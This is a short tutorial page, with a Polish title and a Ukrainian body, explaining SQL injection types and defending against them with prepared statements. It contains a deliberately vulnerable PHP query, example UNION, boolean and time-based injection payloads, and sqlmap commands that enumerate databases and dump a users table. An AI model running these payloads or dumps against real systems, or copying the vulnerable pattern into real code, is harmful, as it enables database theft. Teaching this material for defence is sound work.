📖
SQL Injection: teoria i praktyka
Jak działa SQL injection i jak bezpiecznie go testować.
Що таке SQL Injection?
SQL Injection (SQLi) — вразливість, при якій зловмисник вставляє SQL-код через введення користувача, змінюючи логіку запиту до бази даних.
Вразливий код (PHP приклад):
php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = " . $id;
// Запит стає: SELECT * FROM products WHERE id = 1 OR 1=1 --Типи SQL Injection
1. In-band SQLi (результат видно у відповіді)
Error-based — помилки БД розкривають інформацію:
?id=1' → You have an error in your SQL syntax...
Union-based — використовує UNION для витягування даних:
sql
?id=1 UNION SELECT null,username,password FROM users --2. Blind SQLi (результат не видно напряму)
Boolean-based:
?id=1 AND 1=1 → відповідь нормальна (true)
?id=1 AND 1=2 → відповідь порожня (false)
Time-based:
sql
?id=1; IF(1=1, SLEEP(5), 0) -- → затримка 5 сек = вразливість3. Out-of-band SQLi
Дані витягуються через DNS або HTTP запити (рідкіше).
sqlmap — автоматизація SQLi
bash
# Базове тестування
sqlmap -u "http://target.com/page.php?id=1"
# З cookies (для авторизованих сторінок)
sqlmap -u "http://target.com/page.php?id=1" --cookie="session=abc123"
# Витягнути список баз даних
sqlmap -u "http://target.com/page.php?id=1" --dbs
# Витягнути таблиці конкретної БД
sqlmap -u "..." -D target_db --tables
# Витягнути дані з таблиці
sqlmap -u "..." -D target_db -T users --dumpЗахист від SQLi
php
// ПОГАНО — конкатенація
$query = "SELECT * FROM users WHERE id = " . $id;
// ДОБРЕ — Prepared Statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);Також: ORM-бібліотеки, WAF (Web Application Firewall), принцип найменших привілеїв для DB-користувача.
Komentarze
Zaloguj się lub Zacznij aby zostawić komentarz.